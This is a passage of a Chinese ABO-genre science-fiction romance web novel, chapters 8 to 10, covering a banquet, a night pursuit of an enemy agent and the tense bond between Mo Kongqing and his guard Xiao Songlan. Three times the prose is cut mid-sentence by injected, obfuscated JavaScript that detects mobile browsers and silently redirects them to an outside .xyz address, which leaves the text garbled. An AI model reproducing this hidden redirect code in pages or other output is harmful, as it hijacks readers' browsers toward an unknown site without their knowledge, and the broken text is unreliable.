击般猛地一震,剧烈的痉挛席卷全身。那血红的眼中翻涌的疯狂和戾气急速褪去、消散。挣扎的力量骤然消失,紧绷的身体彻底软倒下来,墨空青瘫靠在墙上,只剩下破碎而急促的喘息。 锁环“咔”地一声自动解锁收回。 萧菘蓝站在他面前,看着他被冷汗浸透了额发,整个人仿佛刚从水里捞出来一样。 过了许久,那喘息声终于平复。萧菘蓝才从装备箱里取出营养补充剂,拧开盖子。 她走到他身边,蹲下身,将管口递到他唇边。 墨空青的眼皮颤动了几下,没有睁开,却顺从地张开嘴。 看着萧菘蓝出来,顾言深极力克制自己:“他到底在海冥星做了什么?这消耗程度,远不止一场平叛。” 萧菘蓝视线下垂:“抱歉,先生,是我没照顾好。” 顾言深抬手捏了捏眉心:“跟你没关系,他疯起来是拦不住的。” 强大的力量往往伴随着巨大的代价。 有时候顾言深也会想,是不是他和墨庭的信息素都过于霸道,两个顶级Alpha的基因结合,才导致墨空青的信息素远超常理却又时刻行走在失控的边缘。 苏明朝带着医疗组进入静室。各项生理指标在仪器的监控下趋于平稳,警报解除的红光终于熄灭。 三天。 墨空青在药物和身体极度透支的双重作用下,沉睡了整整三天。 萧菘蓝几乎没有离开过静室。她坐在一边,光屏悬浮在面前,浏览着林漾传过来的消息。这里面既有对议会新派特使团动向的监控,也有对特设区那些Omega每日状况的加密简报。 这些从海冥星实验室基地解救出来的Omega被暂时安置在守卫森严的特设区,一是因为他们极度脆弱,二是防止他们成为别人利用的棋子。 当床上的墨空青缓缓睁开时,萧菘蓝输入指令的动作顿住,悬浮的光屏熄灭。 她起身,走到床边。 墨空青的眼神最初有些空茫,又迅速聚焦,看向站在床边的身影。 “萧萧......”他的声音因为久睡而沙哑。 萧菘蓝俯身,将墨空青扶坐起来。在他坐稳后,她的手背贴上了他的额头。 “有没有不舒服?” 墨空青任由她的手贴在自己额头上,感受着那点凉意,舒服地眯了眯眼。 “没有。就记得被你压在墙上,动弹不得。”墨空青刻意放缓了语速,尾音微微上扬,“萧萧啊,好大的力气。” 萧菘蓝的手从他额头上移开,直接切入正题:“新的特使已经到了,特设区的那些Omega,少爷准备怎么办?” 墨空青脸上的笑意淡了些,放松地靠回床头,嗤笑一声,带着毫不掩饰的轻蔑:“一群闻到腥味就扑上来的鬣狗罢了,先由着他们,我倒想看看能翻出什么花来。” “至于那些Omega尽快转移到帝都吧。” “好。”萧菘蓝应道,她转身,准备去下达命令。 “萧萧。”墨空青的声音从身后传来,又恢复了那种懒散的调子。 萧菘蓝停下,侧身看他。 墨空青朝她勾勾手:“又不差这一会儿,先别管那些烦人的家伙了。过来,再陪我待会儿。”他拍了拍自己身侧的床沿。 萧菘蓝看着他伸出的手,没有动。 “少爷好好休息。” 8. 生气 帝都的风云在暗流汹涌中悄然推进了一个月。 对于墨空青而言,这一个月与其说是静养,不如说是萧菘蓝的“圈养”。他被严格限制在家中,除了必要的远程事务处理,几乎隔绝了所有外界干扰。 萧菘蓝的执行力毋庸置疑,无论是谁旁敲侧击的探访请求,一律都被她拒之门外,没有任何人和事能惊扰到静养中的墨空青。 出乎意料的是,墨空青对这份强制修养并未表现出太多的抗拒。每日无所事事地靠在窗边软榻上,看日光流转,或是干脆闭目养神,甚至能心平气和地忍受苏明朝按时送来的味道寡淡的营养剂。 这种反常的平静,让顾言深都感到一丝诧异,唯有萧菘蓝依旧不动如山,按部就班地掌控着内外的一切。 打破这份宁静的,是苍舒家那份烫金的成年礼请柬。这场典礼,是苍舒家权力更迭的正式宣告,也牵动着帝都顶级圈层的神经。 成年礼当晚。 苍舒家族宅邸。 夜色被无数悬浮光球照亮,古老的宅邸在精心设计的柔光下庄严而磅礴。青灰色石狮肃立,庭院深处,每一处景致都诉说着家族沉淀的底蕴。 场内宾客如织。 墨空青穿着暗纹黑色礼服,领口随意敞开,陷在角落一张深红色的扶手椅里。他的位置巧妙,既将中央区域纳入视野,又与喧嚣保持着距离。 墨空青把手搭在一侧上,微合着眼,似乎颇为享受这久违的场面。 而萧菘蓝则站在他前方不远处与人交谈着。 量身定制的礼服长裙,腰间一道银色金属链饰勾勒出腰线,垂坠的裙摆在行动间摇曳。她没有戴过多的珠宝,只在胸口处别着一枚小巧的宝石胸针。 今天她并非以墨空青近卫的身份出现,而是代表着帝国上将萧长空。 就算抛开显赫的家世不谈,一个能力出众的顶级Alpha在帝都年轻一代的权贵中,无疑是站在顶峰备受瞩目与追捧的存在。 乐声渐歇,所有人的目光投向通往二楼的主阶梯。 巨大的光幕降下,投射出苍舒家族古老的族徽图腾。苍舒雪的爷爷,那位满头银发却精神矍铄的老家主缓步出现在光幕前。 “今日,是我孙女苍舒雪成年之礼。”老者的声音清晰有力,响彻大厅,“经家族议定,即日起,由苍舒雪,正式接掌家族事务及所有相关权责。” 光幕上的图腾光芒炽亮。 万众瞩目下,一袭冰蓝色长裙的身影出现在阶梯尽头。不同于那日在玉麟州见到的苍舒雪,此刻的她眉宇间褪去青涩,步伐沉稳地走下楼梯,从她爷爷手中接过权印。 掌声渐歇,热络的交谈再次主导了气氛。恭贺、试探,在觥筹交错间流动。 墨空青正欲收回目光,艾斯分开人群走了过来,上下打量了他一遍。 “听说你前段时间病了,这回可是休息好了?” 墨空青眼皮都懒得抬一下,懒洋洋地回敬:“比不得阁下夜夜笙歌。” 艾斯不以为意,顺势靠在旁边的柱上,抿了口酒,目光投向台上被一群政要围住的苍舒雪。 “啧,这掌权以后怕是不好打交道了。老爷子这一步,直接把整个棋盘掀到她面前。”艾斯话锋一转,声音压低了些,带着点闲聊般的口吻,“说到棋盘,鸣山那盘棋,现在可热闹得很。能源工厂那块肥肉,有不少人盯着,苍舒雪才刚上位,总得烧几把火立威吧,就是不知道她这把火,会先烧向谁的合作协议?” 他顿了顿,目光意有所指地瞟向墨空青:“空青,你拿下海冥星就心满意足了?”话语间,试探之意昭然若揭。 海冥星虽名义归属帝国,但驻扎的仍是墨家军队。所以艾斯想知道他是否还想将手伸向鸣山,与苍舒雪合作。 墨空青眼帘未抬,带着点漫不经心的嘲弄。 “鸣山是苍舒家的地盘,你与其操心我有没有胃口,不如先关心关心你自己家。”他微微倾身,好心提醒道,“听说你那位在其他星系游历了好几年的大哥,下个月就要回来了,家里头的热闹怕是不比今天少吧?” 艾斯脸上的笑容瞬间僵住。 皇室不同于其他家族,继承人向来不止有一个。大哥的回归,意味着皇室内部继承权的争夺将进入白热化。 “空青的消息还是这么灵通,家里是有点小事,但不劳费心了。”艾斯干笑了两声,仰头将杯中残酒一饮而尽,掩饰那一瞬间的失态。 墨空青满意地看着对方那强撑的笑容,这才慢悠悠地收回目光。 他不再理会艾斯,身体重新陷回椅背,合上眼,指尖在扶手上地敲击着。 那副姿态,分明是在下逐客令。 艾斯脸上的笑容有些挂不住了,他转身,匆匆融入了前方的人群里。 萧菘蓝将这一切尽收眼底。 大厅内的暖气令人微醺,墨空青朝萧菘蓝递了个眼神,两人默契地起身,穿过热闹的人群,走向连接着露台的侧门。 夜风带着庭院草木的气息扑面而来,瞬间吹散了室内的沉闷。露台上人不多,只有远处零星的交谈声。 墨空青走到栏杆边,帝都璀璨的灯火在远处铺陈开来。萧菘蓝站在他身侧,深蓝的裙摆被微风轻轻拂动。 墨空青转头,低垂着眼眸,视线在萧菘蓝腰间那链条上停留了一瞬,然后手指极其自然地勾住了链条中段的一个圆环。 力道很轻,既非拉扯,也非把玩。链条却还是因此绷直,在她腰间形成一个微小的受力点,牵扯着礼服紧贴的布料,勾勒出充满力量感的轮廓。 但很快墨空青便松开了。 “清净多了。” 通往露台的玻璃门再次被推开。 苍舒雪独自走了出来,手中端着一杯清水,似乎也是来透气的。 她几乎是瞬间就被萧菘蓝吸引了。 苍舒雪感觉自己心跳漏了一拍。她见过无数美人,但从未有人能将冷冽、力量与沉静融合得如此浑然天成,美得极具侵略性。 真是巧了,今日穿的还是一个色系。 苍舒雪这般想着,然后朝前走去,目光却一直落在萧菘蓝身上,眼神炽热得几乎要穿透那身冷冽的礼服,带着毫不掩饰的惊艳。 “萧姐姐。”苍舒雪声音依旧是那种甜甜的调子,几秒后,她才仿佛意识到墨空青的存在,乖巧地喊了一声:“空青也在啊。” 墨空青瞥一眼,没搭理。 苍舒雪也不在意,端着水杯往前两步。 “还是外面舒服,里面那些人,吵得我头疼。一个个脸上堆着笑,嘴里说的却没几句真心话。”苍舒雪微微侧头,看向萧菘蓝,笑容甜美无害,“萧姐姐想必也烦了吧?” 萧菘蓝只是轻微地点头:“还好。” 苍舒雪仿佛没察觉到那份疏离,又将视线转向墨空青,语气带点抱怨:“空青,你倒是会躲清静。刚才艾斯还在里面到处找你,说要跟你聊聊鸣山能源工厂的事呢。” 她状似无意地提起这个敏感话题,眼角的余光却敏锐地观察着萧菘蓝的反应。 “听说他挺积极的,想拉你一起入伙?不过啊,我看他那人,嘴上说得天花乱坠,心里盘算的可深着呢。”她轻轻晃了晃手中的水杯,语气天真,“不像萧姐姐,对空青你,那才是一片真心实意,寸步不离地守着。” 嘴上这般说着,苍舒雪却又往萧菘蓝身边靠了靠,冰蓝色的裙摆蹭到萧菘蓝的礼服。 “说起来,空青你运气是真的好,当初就差一点儿,萧姐姐就成了我的近卫。”她微微歪头,眼神在墨空青和萧菘蓝之间流转,带着点天真无邪的好奇,“不过,两个强大的Alpha整天这么形影不离的,不会觉得太亲近了吗?外人看着,总归是容易说闲话的。” 墨空青一直懒洋洋地靠着栏杆,仿佛在欣赏远处的夜景。直到苍舒雪说完,他才地转过头。 碧绿的眼眸在夜色下格外幽深,里面没有丝毫被冒犯的怒意,只有一种玩味的审视。 “形影不离?”墨空青轻轻重复了一遍,声音低沉,“那也得看是什么人。值得的,自然寸步不离。”他意有所指,目光又落回苍舒雪脸上,那点嘲弄更深了些,“至于闲话......” 他轻笑一声:“你在内涵我父亲他们吗?” 当初墨庭和顾言深两个Alpha在一起的事情,确实引得整个帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181548|181001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国轰动。至今还有人不明白,他们是如何克服最原始的生理本能。高契合度的Omega确实不多,但怎么也不会是Alpha。 苍舒雪没想到他会把这事挑出来,一时之间没有说话。 “要是当初萧萧成了你的近卫,一个Alpha一个Omega才不好吧。”墨空青忽然伸手,猛地将萧菘蓝往自己这一揽,“而且我墨空青做事,什么时候在乎过别人的想法?” “倒是你,苍舒雪,鸣山是你家的,就少把我拉下水来,省得第一天掌权就要被压下去了。” 苍舒雪脸上的笑容僵了一瞬,随即绽放得更加灿烂,仿佛那点讽刺根本没听进去:“空青真会说笑,这不是关心你们嘛。” 但她还没有放弃,又将话题扯回自己身上,带着点委屈地抱怨:“我啊,现在才是真头疼呢。鸣山那摊子事,爷爷丢给我,底下那些人,一个比一个难缠。你如果愿意,我们可以合作的。” 墨空青眼底那点玩味的笑意彻底冷了下去,他没接话,只是目光沉沉地看着苍舒雪。 萧菘蓝自始至终都没有太大的反应,直到感受到腰间的力道收紧,她才把手放在那人的手背上拍了拍。 “少爷,今日出来的时间久了,该回去休息了。”说完,萧菘蓝根本不等苍舒雪反应,也没有向这位新任苍舒家主道别的意思,直接拉着墨空青迈步离开。 那画面刺眼至极。 苍舒雪那抹强撑的乖巧笑容终于破裂,眼底是恼恨和不甘。 即便萧菘蓝方才没说几句话,甚至还是那副冷淡的表情,墨空青还是能察觉到她那点起伏的情绪。 “生气了?” 萧菘蓝脚步未停:“没有。” “哦?”墨空青眉梢轻挑,任由她拉着往前走,“那为什么这么急着拉我走?苍舒雪那出戏,还没唱到最精彩的部分呢。” “她的话不重要。”萧菘蓝的回答干脆利落,“但是少爷确实该休息了。” 萧菘蓝不喜欢苍舒雪话里那些试探和挑拨。 墨空青低低地笑了一声,喉结滚动着,笑声在走廊里荡开微小的回声:“是不重要。不过你今天这枚胸针,格外的好看。” 萧菘蓝突然站住,然后摘下那枚宝石胸针塞进墨空青手里。 墨空青笑得更欢了:“刚才苍舒雪看你的眼神,像是要把你一口吞下去。” 他的语调依旧带着点玩味,但那点笑意之下,却沉淀着占有欲。苍舒雪对萧菘蓝的心思,早已点燃了他骨子里蛰伏的凶兽。 萧菘蓝正面迎上墨空青。 “那又如何?” 她的眼神坦荡而直接。 觊觎她的人很多,苍舒雪不过是其中一个。但她萧菘蓝站在哪里,只由她自己决定。 墨空青定定地看着她。 “也是。”他反手掌心向上,握住了萧菘蓝那只一直拉着他的手。 萧菘蓝没有挣脱。 墨空青满意地牵紧她的手。 “我一向很听话,萧萧啊,我们现在就回家。” 车内隔绝了外面突然起来雨声。 墨空青躺在那张宽敞的座椅上,脑袋毫不客气地枕在萧菘蓝的腿上。一只手随意地搭在自己腹部,另一只手却自然地垂下来,修长的手指勾着她裙摆的丝滑面料。 萧菘蓝垂眸,窗外流动的光影掠过他挺直的鼻梁。她抬起手,轻轻拨开一缕垂落在他眉眼间的黑发。 “该剪了。” 墨空青只是轻轻哼了一声。 萧菘蓝看向车窗外被雨模糊的城市轮廓。 璀璨的悬浮光球仍在工作,但在雨幕的模糊下,光芒显得更加清冷遥远。 本该是今晚的主角,此刻却孤零零地站在露台上。苍舒雪没有回到内场,也没有避入回廊。 雨水很快打湿了她精心打理的长发,几缕湿发狼狈地贴在脸颊和颈侧。 近卫在她身后撑开一把黑伞,完全遮挡在苍舒雪头顶。雨水立刻被隔绝,只在伞沿处形成一道水帘。 “小姐,雨大了,请回室内休息吧。” “阿今,”苍舒雪的声音发冷,“今天我原本是很开心的。” 9. 不见 萧菘蓝已经回房间换上了常服,阳台的门敞开着,风带着雨后的凉意吹进来。 通讯器的光屏亮起,悬浮在空气中。屏幕上,江语的面容清晰可见,她坐在萧家花园的藤椅上,背后是朦胧的夜色,庭院里几盏暖黄色的夜灯散发着光晕,照亮了她身后几丛盛开的花影。 江语没有说话,只是透过光屏温柔地看着女儿。 先是看向萧菘蓝微湿的发梢,又一点点打量那清冷的眉眼,最后落在她检查随身装备时翻动的手上。 她似乎怎么都看不够。 萧菘蓝把剩余的东西归入暗格,扣上箱子。她起身,抬头时发现母亲还在静静地看着自己,那双温婉的眼睛里盛满了暖意。 萧菘蓝动作微顿,走近一点:“母亲每次都在看什么?” 光屏那头,江语浅浅地笑了,她没有立刻回答,只是目光依旧细细地流连在女儿脸上,仿佛在确认每一处细节。 “我在看你。” “看看我的菘蓝。” 江语的声音像被夜露浸润过,温软柔和:“今天过得开心吗?” “嗯。” “开心就好。” 顶上的枝叶晃了晃,江语似乎也感受到了这阵风,拢了拢肩上的薄披肩。 萧菘蓝看着母亲的动作,提醒道:“母亲,夜里凉,快点进去吧。” “知道了,这就回去。”江语应着,却并没有要起身的意思,反而将披肩裹得更紧了些,“再坐一小会儿,这花香正好。” 萧菘蓝皱了下眉道:“您进去,我再陪您聊一会儿。” 门外传来两下叩门声。 是管家。 “萧小姐,程岩上校的车刚刚抵达门口,特意来见少爷。” 宴会上,程岩曾试图找过墨空青,只是当时碍于艾斯在场,未能深谈。后来他们提前离了场,萧菘蓝猜到程岩这几日应该会来,只是没想到对方今晚就上门了。 江语对着女儿笑了笑:“去吧,别让人等急了。” “母亲早点休息。”萧菘蓝应道。 光屏在江语温柔的笑意中熄灭,房间内重新陷入寂静,只剩下窗外风声。 萧菘蓝迅速整理了一下衣服,朝着隔壁房间走去,而里边的人听见声响,又重新躺回了床上。 萧菘蓝进来后扫了一眼并未拆穿他。 “程岩来了。” 墨空青的睫毛动了动,没睁开,从鼻腔里发出一声模糊的轻哼,算是回应。 萧菘蓝走进,靠着床,又问:“少爷要见吗?” 墨空青困倦地打了个哈欠,慢悠悠地掀开眼皮:“不见。”他侧过身,顺势将额头抵在萧菘蓝的腰侧,声音闷闷地传来:“萧萧,我好累。” 萧菘蓝垂眸,一只手轻轻落在他的后颈上,避开特殊的位置,轻轻捏着。 “那就不见。” 墨空青似乎很享受这种酥酥麻麻的感觉。 “今晚提前走了,也不知道父亲他们收到消息后会是什么反应。萧萧,明早醒来,我要第一个就要看到你。” “你听见了吗?”他又问。 萧菘蓝将他往后推了推:“少爷好像从海冥星回来,变得格外黏人。” 墨空青不满地抬头:“有吗?” 萧菘蓝没回他,重新拉过被子给他盖上:“睡吧。” 楼下的程岩没有见到人最终还是离开了。 夜灯被关上,墨空青的呼吸渐渐变得沉缓均匀,直到确认他彻底入睡,萧菘蓝才走出房间。 通讯器屏幕在黑暗中亮了一下。 “跑了一个。” 萧菘蓝:“位置。” 墨伊:“西郊废弃的轨道中转站,对方可能提前注射了阻隔剂,系统监测不到信息素,暂时无法辨别身份。” “原地待命,等我。” “是!” 通讯切断。 悬浮车在低空疾驰,划破帝都郊外的沉沉夜色。车窗外的景象从灯火辉煌的城区,迅速过渡到废弃工厂和荒芜的待开发区,最终没入一片死寂的黑暗。 西郊的轨道中转站早已废弃多年。 巨大的金属骨架锈迹斑斑,在稀薄的星光下如同巨兽的骸骨沉默地匍匐在荒草丛生的空地上。几节被遗弃的货运车厢歪斜地躺在生锈的轨道尽头,黑洞洞的车门敞开着。 萧菘蓝带上夜视仪,朝着中转站中心区域潜行,眼前的世界被染上冰冷的绿光。顺着标记指引的方向,她在两节巨大货运车厢的夹缝阴影中找到了墨伊。 墨伊半蹲着,手中紧握着武器,警惕地扫视着四周。看到萧菘蓝出现,压低声音,带着懊恼和急切:“是我的失误,清理时被一个家伙提前察觉了异常,他引爆了预设的干扰装置,趁乱从通道跑了。追踪信号最后消失在前方主控室方向,干扰残余很强,信号时断时续的。” “并且对方在试图发送自己的信号,但目前隔太远,我们这边无法彻底屏蔽掉。” 墨伊快速补充:“另外,刚收到消息,霍枔在今晚的宴会结束后并未返回,车内只有霍恩和霍樾。” “知道了。” 萧菘蓝独自向前。 废弃的主控室大门早已不知去向,只留下一个黑黢黢的入口,里面弥漫着浓重的灰尘和机油混合的腐败气味。 夜视仪的视野里,主控室内部一片狼藉。巨大的控制台布满灰尘,屏幕碎裂,线缆像垂死的藤蔓从天花板上垂落,地面上散落着各种废弃零件和杂物。 萧菘蓝没有急于深入,她靠在入口内侧的墙壁上,凝神感知着黑暗中的一切。 在左前方,一堆倾倒的控制台残骸后面。 萧菘蓝从内袋里掏出了小型信号屏蔽器,微弱的红光闪烁了一下,彻底隔绝了此地信号的发送。 然后,她拔出了腿侧的抢。 左前方那堆残骸后面,一道黑影猛地窜出。很显然,他在察觉到信号被强制屏蔽时,就意识到自己已经被发现了。但并没有扑向萧菘蓝,反倒是直接冲向主控室后方一个半塌陷下去的维修竖井口。 “砰!” 枪口火光在夜视仪的绿光视野中爆出一团亮斑,子弹射向那人前冲路径上一块半悬的被锈蚀的金属盖板。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181549|181001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 铛—— 刺耳的撞击声炸响,那块沉重的盖板被击落砸在竖井口边缘,激起一片呛人的尘灰,短暂地封堵了那条通道。 黑影被迫急停,身体在惯性作用下前倾,暴露在相对空旷的地带。几秒的迟滞间,萧菘蓝的第二枪已然击发。 “砰!” 黑影的反应极快,立刻向侧面翻滚,子弹擦着他的裤腿掠过带起一溜火星和布屑,然后嵌入他身后的墙体。翻滚尚未停稳,他也拔出枪朝着萧菘蓝的大致方向盲射。 砰砰砰—— 三声急促的枪响在主控室内响起,子弹打在萧菘蓝藏身的墙角和废弃控制台上,火花四溅,发出尖锐的刮擦声。 借着枪声掩护,黑影不再执着于竖井,朝着主控室深处堆满废弃管道的角落冲去,试图利用复杂地形周旋。 萧菘蓝从掩体后闪身而出,冷静地连续两枪点射,提前拦截那人可能变换方向的路径。子弹打在管道缝隙,逼迫他只能沿着预定的狭窄道前进。 黑影被压制得怒吼一声,借着一根粗大的管道作为掩体。 枪火在黑暗中明灭,弹头呼啸,在布满灰尘和锈迹的墙壁设备上凿出一个个狰狞的弹孔。 灼热的弹壳叮叮当当掉落在地。 对方的枪法狠辣刁钻,几次子弹都擦着萧菘蓝的掩体边缘飞过,并且不断变换位置,试图拉近距离找到反击的空隙。 换弹间隙,萧菘蓝抓住对方火力短暂的停歇,放弃了射击,直扑对方藏身之地。 黑影不退反进,扔掉打空的手枪,反手拔出一把刺刀。 在一次的格挡后,萧菘蓝抓住对方手臂,同时右脚狠狠扫向对方下盘。 一股信息素从他身上爆发。 这股信息素似乎被压制已久,带着极强的攻击性冲破牢笼。 萧菘蓝感觉到对手肌肉力量瞬间异常飙升,她没有犹豫,立即翻身,将对方暴露在中央位置。 嗤—— 一道细小的银光,射入了那人因爆发信息素而完全显露的脖颈侧后方。 那人的动作僵住,惊愕一瞬,试图扭头去看偷袭的来源,但强效麻醉剂的药力立刻起效,麻痹了他所有的神经。身体的力量被抽干,持刀的手再也握不住,“哐当”一声掉落在地。高大的身躯摇晃了一下,重重地向后栽倒。 萧菘蓝站直身体,目光冰冷地扫过地上失去意识的人,随即抬头,看向入口上方那片黑暗的角落。 墨伊从布满线缆的悬空平台上滑落下来,轻盈落地。他手中,一把精巧且枪管细长的麻醉发射器正缓缓收回。 “他发送的信号已经被我们完全拦截住了。” 萧菘蓝点了下头。 她蹲下身,开始在这人身上搜查起来。 一个伪装成普通金属片的微型通讯器被翻找出来。 萧菘蓝站起来,将微型通讯器抛给墨伊:“把这边处理干净,人带回去注射维持剂,等我亲自审。” “好。” 萧菘蓝抬手,表盘上清晰显示着03:15。 离天亮,还有时间。 10. 不甘 天光未透,黎明前最深的灰暗笼罩着一切。 墨空青侧躺着,面朝门口的方向,被子拉到了下巴,只露出一双眼睛。他眼神清醒,没有半分睡意。 “回来了。” 萧菘蓝“嗯”了一声,反手带上门。 墨空青没动,视线紧紧锁着她:“去这么久,人呢?” 萧菘蓝:“死了。原本是想带到审讯室的,结果回去路上人开始神志不清,瞳孔散大,生命体征急速衰竭。急救组赶到也无济于事。” 听到意料之中的答案,墨空青坐起身,被子滑下一点,睡衣领子敞开,露出线条流畅的锁骨。 墨空青:“一开始不就打算一个不留吗?这不正好。” “不一样。” 无价值的死亡和审讯后得到信息再处置,是两回事。 墨空青低低地哼笑一声,无所谓道:“都行,你看着办吧。”他顿了顿,又问:“霍枔还没回去?” “没有。” “那这么看来他们的合作是板上钉钉了,还以为苍舒雪会选择颂家呢,再不济也会是皇室。” 萧菘蓝:“霍枔的叔父霍恩是议会元老之一,手握能源监管实权。她这么做,有她的考量。” 利益交换,各取所需。 墨空青没接话,只是抬眼看着她走近。 萧菘蓝垂眸,视线落在他微敞的领口:“少爷要起床吗?” 墨空青忽然抬手,身子稍稍前倾,手指勾住了她因低头而垂下的一缕发丝,慢悠悠地缠绕在指尖:“折腾了一晚上,萧萧是不用休息的吗?” 萧菘蓝手腕一动,不着痕迹地压住了他作乱的手指,力道不大却足以制止。她声音平淡:“少爷现在越发孩子气了。” 墨空青不仅没收回手,反而就着被她压住的姿势,用指腹在她手背上缓慢地摩挲了一下,眼神直勾勾地盯着她:“萧萧现在也总是拒绝我,”他尾音拖长,带着点危险,“怎么,这是腻了?” 萧菘蓝没有回答。 他指尖的触感清晰地停留在皮肤上,似在挑衅。 几秒后,墨空青像是失了兴致,笑意淡了些,眼底那点乖戾瞬间敛去。他松开手,整个人往后一倒,重新闭上了眼。 “我还要睡。既然你不想休息,那就待在这里,哪都别走。” “嗯。” 萧菘蓝后退一步,在床边的沙发坐下。 昏暗的光线柔化了墨空青清醒时的锋芒和攻击性。她的视线从他的额头滑下,描摹过那紧闭的双眼和挺拔的鼻梁,最后停在唇上。 窗外的天色由深灰转为一种朦胧的灰白,楼下的景物渐渐清晰起来。 “萧萧......”睡梦中的墨空青忽然含糊地呢喃了一声,眉间无意识地蹙起,身体动了动。他似乎陷入了某种不安的梦境,呼吸变得有些急促。 “我在。” 那一声安抚,让墨空青的眉头缓缓松开,急促的呼吸也重新变得平稳悠长。他翻了个身,由平躺侧向里边,将他的后颈完全暴露在萧菘蓝的视线之下。 那片皮肤在昏暗光线下呈现出一种细腻的象牙白,覆盖其下的腺体微微隆起一点饱满而诱人的弧度。属于顶级Alpha的强大信息素源头,此刻正毫无保留地袒露着,散发着无声的诱惑。 萧菘蓝的目光定住。 那双总是沉静的眸子,此刻带着极具侵略性的专注。她的视线死死锁在那片区域,仿佛要将那层薄薄的皮肤烧穿,看清底下涌动的力量本源。 这凝视持续了许久,心跳声变得越来越清晰。 萧菘蓝突然站起身,没有再去看床上的人,直接走向房间中央的圆桌。她倒了一杯水,仰头喝下,试图浇灭心头那点被勾起的燥热。 她放下空杯,指尖在冰凉的玻璃杯壁上停留了片刻。再抬眼时,眼底那片汹涌的暗流已被强行压下。 萧菘蓝转身,没有立刻坐回沙发,而是走到紧闭的窗边,挑开窗帘,透进一丝光亮。 窗外,帝都的天色已经彻底褪去灰青。车道的流光开始密集,无数条冰冷的银线在低空交织穿梭,远处帝国议会大厦的尖顶在稀薄的晨雾中若隐若现。 “在看什么?” 墨空青已经睁开了眼。他侧躺着,脸埋在蓬松的枕头里,只露出小半张脸和一只眼睛,似乎对这束光亮极为不满。 “天亮了。”萧菘蓝放下窗帘。 过了好一会儿,墨空青才慢吞吞地撑着身体坐起来。 “霍枔那边盯紧点。苍舒雪把她拉过去,应该不是单纯为了鸣山那个破工厂。” “知道。”萧菘蓝拿起搭在椅背上的外袍递过去,“霍枔离开苍舒家主宅后,去了城西一处私人俱乐部,那里有霍樾的长期包间,停留时间超过三小时。” “随他们先玩着吧。” 墨空青接过外袍,系着衣带的手指又顿住,抬眼看向萧菘蓝,“死了的那个查出什么了吗?” “墨伊说他隶属一个代号为X的组织,受雇于议会内部一个匿名账户。” “匿名账户?”墨空青系好衣带,赤脚踩在地毯上,走到窗边,也学着萧菘蓝刚才的样子,用指尖挑开一丝窗帘缝隙。 “又是这套把戏,议会里那帮老东西,藏头露尾的本事倒是一流。” 萧菘蓝:“账户加密层级很高,他们还在破解。” 墨空青将帘子彻底拉开。他转过身,看向萧菘蓝,然后抬手,指尖拂过她眼下那点淡青。 “真辛苦。” 说罢,他收回手,绕过她走向浴室。 萧菘蓝微微垂下眼,没有回头,继续道:“半小时前,林漾发现海冥星那道异常信号源的强度在飙升。” 墨空青刚走到浴室门口,搭在门把上的手顿住。 “就在他试图定位并强行拦截时,信号源瞬间消失,无法追踪。位置锁定失败,但能量级远远超过之前任何一次记录。他怀疑,海冥星上还有未被我们掌握的深层空间,或者新的信号发射点被激活了。” 墨空青脸上那点刚睡醒的慵懒彻底褪尽,只听萧菘蓝继续:“议会方面通知,新一批特使将于明日抵达海冥星外围空间站,他们声称这是最后一波监察人员。” “最后一波?”墨空青终于开口,声音却压得又低又冷,“这群人真是没完了。” 议会一次又一次的试探,挑战着他所剩无几的耐心。 “这么说我得亲自回去一趟了,看看那些耗子,到底在挖什么宝贝。”话音落下,墨空青不再停留。 “咔哒”一声轻响,门被关上。 紧接着,里面隐约传来水流声。 萧菘蓝这才回过身,目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181550|181001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在紧闭的浴室门上,听着那单调的水声。几秒后,她收回视线,离开了墨空青的房间,进了隔壁自己的那间。 门在身后合拢,萧菘蓝也径直走进浴室。没有开灯。清晨灰白的光线透过磨砂玻璃窗渗进来。 她拧开水阀,冰冷的水流从头顶的花洒倾泻而下,带着刺骨的寒意,毫无缓冲地浇盖在皮肤上。水流顺着她湿透的黑发淌过脸颊、脖颈,浸透单薄的衣衫,带来一阵阵生理性的轻微颤栗。 萧菘蓝闭着眼,任由水流冲刷。水珠顺着她紧抿的唇线滑落,沿着下颌的线条滴下。她一动不动地站在水幕里,寒意顺着脊椎骨蔓延。 那冷意仿佛能穿透皮肉,暂时冻结住某些翻涌的东西。 墨空青那句带着乖戾探究的“腻了?”,像根细小的刺扎在萧菘蓝心头。她知道自己的拒绝让对方又开始闹别扭了,像只被逆着毛捋的猫,表面懒洋洋地蜷缩回去,内里却藏着随时可能亮出的爪牙。 Alpha又怎样? 小的时候,萧菘蓝总是这样想着。 诚如那天苍舒雪在露台上点破的,他们都是Alpha。即便有元帅和顾先生那样的先例在前,可她萧菘蓝,是个腺体残缺的Alpha。 